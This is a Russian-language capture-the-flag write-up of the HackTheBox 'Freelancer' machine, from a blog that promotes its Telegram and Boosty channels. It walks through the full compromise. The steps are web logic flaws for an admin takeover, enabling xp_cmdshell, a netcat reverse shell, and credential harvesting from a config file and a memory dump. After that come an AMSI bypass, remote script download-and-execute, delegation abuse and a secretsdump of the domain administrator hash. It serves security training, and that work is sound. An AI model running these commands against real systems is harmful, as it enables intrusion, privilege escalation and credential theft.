Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/367.

Также на https://boosty.to/kiberdruzhinnik/posts/d071461b-2e83-4a68-8b97-2391c13005d2 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Начнем свое решение со стандартного сканирования портов.

PORT     STATE SERVICE        REASON
53/tcp   open  domain         syn-ack
80/tcp   open  http           syn-ack
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://freelancer.htb/
88/tcp   open  kerberos-sec   syn-ack
135/tcp  open  msrpc          syn-ack
139/tcp  open  netbios-ssn    syn-ack
389/tcp  open  ldap           syn-ack
445/tcp  open  microsoft-ds   syn-ack
464/tcp  open  kpasswd5       syn-ack
593/tcp  open  http-rpc-epmap syn-ack
9389/tcp open  adws           syn-ack

Host script results:
|_clock-skew: 4h59m57s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 56975/tcp): CLEAN (Timeout)
|   Check 2 (port 28763/tcp): CLEAN (Timeout)
|   Check 3 (port 45272/udp): CLEAN (Timeout)
|   Check 4 (port 20885/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-06-02T11:41:36
|_  start_date: N/A

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:42
Completed NSE at 06:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:42
Completed NSE at 06:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 51.80 seconds

Сразу же занесем IP-адрес в /etc/hosts:

$ sudo nano /etc/hosts
10.129.69.219 freelancer.htb

Веб

С помощью gobuster находим админку:

alt text

А еще мы можем зарегистрироваться как фрилансер или как работодатель:

alt text

Однако как работодатель мы зарегистрироваться не можем без подтверждения со стороны работников сайта:

Note: After creating your employer account, your account will be inactive until our team reviews your account details and contacts you by email to activate your account.

Попробуем завести аккаунт как фрилансер и увидим примерно такое:

alt text

Зарегистрируем аккаунт как работодатель и перейдем на страницу восстановления пароля http://freelancer.htb/accounts/recovery/ - эта страница будет доступна только фрилансеру.

Так как мы знаем ответы на все вопросы от аккаунта работодателя, то введем их и успешно сменим пароль. Теперь мы можем залогиниться в аккаунт работодателя без подтверждения со стороны администратора.

alt text

Перейдем в раздел QR-Code и увидим, что есть возможность логина без авторизации.

alt text

Декодируем этот QR-код с помощью CyberChef и увидим ссылку на логин:

alt text

Идентификатор MTAwMTI= очень похож на Base64, в моем случае это 10012. Мы можем попробовать ввести другой идентификатор, например, 2 или Mgo=:

Переходим по ней и проваливаемся в аккаунт администратора:

alt text

После этого нам становится доступен раздел /admin/:

alt text

В нем мы обнаруживаем SQL Terminal.

Включим исполнение xp_cmdshell - нужно исполнять команды последовательно:

# включаем advanced options
EXECUTE AS LOGIN = 'sa'
EXEC sp_configure 'Show Advanced Options', 1;
# применяем настройки
EXECUTE AS LOGIN = 'sa'
RECONFIGURE;
# включаем xp_cmdshell
EXECUTE AS LOGIN = 'sa'
EXEC sp_configure 'xp_cmdshell', 1;
# применяем настройки
EXECUTE AS LOGIN = 'sa'
RECONFIGURE;
# тестируем исполнение команд
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'whoami';

С помощьюю impacket запуускаем Samba-сервер.

smbserver.py -smb2support -username test -password test test .

Качаем nc64.exe, запускаем слушателя:

wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe
rlwrap nc -lvnp 4246

В SQL-консоли подключаем нашу сетевую шару, копируем файл и запускаем:

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'net use \\10.10.14.107\test /user:test test';
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'copy \\10.10.14.107\test\nc64.exe %temp%\nc64.exe';
EXECUTE AS LOGIN = 'sa' EXEC master..xp_cmdshell '%temp%\nc64.exe 10.10.14.107 4246 -e cmd';

alt text

В каталоге C:\Users\sql_svc\Downloads обнаружим дистрибутив MSSQL:

PS C:\users\sql_svc\downloads> dir
    Directory: C:\users\sql_svc\downloads
Mode                LastWriteTime         Length Name                                                     
----                -------------         ------ ----                                                                  
d-----        5/27/2024   1:52 PM                SQLEXPR-2019_x64_ENU

В файле sql-Configuration.INI найдем креды:

PS C:\users\sql_svc\downloads\SQLEXPR-2019_x64_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="FREELANCER\sql_svc"
SQLSVCPASSWORD="***"
SQLSYSADMINACCOUNTS="FREELANCER\Administrator"
SECURITYMODE="SQL"
SAPWD="***"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

С помощью runascs.exe пробуем их на все учетки из net user и получаем рабочую пару:

C:\Users\sql_svc\AppData\Local\Temp>runascs.exe mikasaAckerman *** whoami
freelancer\mikasaackerman

Запустим слушателя:

rlwrap nc -lnvp 4250

И триггернем его:

runascs.exe mikasaAckerman *** "C:\temp\nc64.exe 10.10.14.107 4250 -e cmd"

alt text

Флаг пользователя

alt text

Повышение привилегий

На рабочем столе mikasaArckerman обнаружим дамп памяти и сообщение из почты:

C:\Users\mikasaAckerman\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 8954-28AE

 Directory of C:\Users\mikasaAckerman\Desktop

05/28/2024  10:22 AM    <DIR>          .
05/28/2024  10:22 AM    <DIR>          ..
10/28/2023  06:23 PM             1,468 mail.txt
10/04/2023  01:47 PM       292,692,678 MEMORY.7z
06/02/2024  10:42 AM                34 user.txt
               3 File(s)    292,694,180 bytes
               2 Dir(s)   1,924,689,920 bytes free

Сообщение говорит о том, что Liza Kazanoff сделала дамп памяти сервера, на котором мы работаем. Это значит, что мы можем вытащить оттуда ее пароль.

C:\Users\mikasaAckerman\Desktop>type mail.txt
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,

Скачаем дамп памяти на свою машину.

Для дампа кредов нам нужно установить:

Далее просто подключаем память как файловую систему:

memprocfs.exe -device MEMORY.DMP

alt text

И в M:\py\regsecrets\security.txt забираем креды от liza.kazanoff.

Пробуем этот пароль на всех известных пользователей и получаем lorra199:

evil-winrm -u lorra199 -p *** -i freelancer.htb

alt text

Путь ведет через AD Recycle Bin --> Generic Write to DC --> DCsync. Это можно так же посмотреть с помощью BloodHound.

Так можем посмотреть удаленные объекты AD:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

С помощью Powermad.ps1 и PowerView.ps1:

wget https://github.com/Kevin-Robertson/Powermad/raw/master/Powermad.ps1
wget https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1
python3 -m http.server 4243

Обходим AMSI и инжектим скрипты:

# amsi bypass
$a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'};$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'};[IntPtr]$c = $b.GetValue($null);[Int32[]]$d = @(0xff);[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)
# инжект скриптов
iex(New-Object Net.WebClient).DownloadString('http://10.10.14.107:4243/PowerView.ps1')
iex(New-Object Net.WebClient).DownloadString('http://10.10.14.107:4243/Powermad.ps1')

Добавляем с помощью PowerView лору в группу IT Technicians:

$SecPassword = ConvertTo-SecureString *** -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('FREELANCER\lorra199', $SecPassword)
Add-DomainGroupMember -Identity 'IT Technicians' -Members 'lorra199' -Credential $Cred

Далее через Powermad добавляем машину в домен и разрешаем делегироваться через msDS-AllowedToActOnBehalfOfOtherIdentity:

New-MachineAccount -MachineAccount PWN -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer PWN -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Добавим домен dc.freelancer.htb в /etc/hosts!

Имперсонируемся как администратор с помощью новой машины и дампаем хеш. Обратите внимание, что я каждый раз синхронизирую время - тут возможны сюрпризы!

sudo rdate -n freelancer.htb && getST.py -spn 'cifs/dc.freelancer.htb' -impersonate 'Administrator' 'freelancer/PWN$:123456' -dc-ip dc.freelancer.htb
sudo rdate -n freelancer.htb && KRB5CCNAME=Administrator.ccache secretsdump.py freelancer/[email protected] -k -no-pass -just-dc-user Administrator

Теперь логинимся с помощью evil-winrm:

evil-winrm -i freelancer.htb -u Administrator -H ***

Флаг суперпользователя

alt text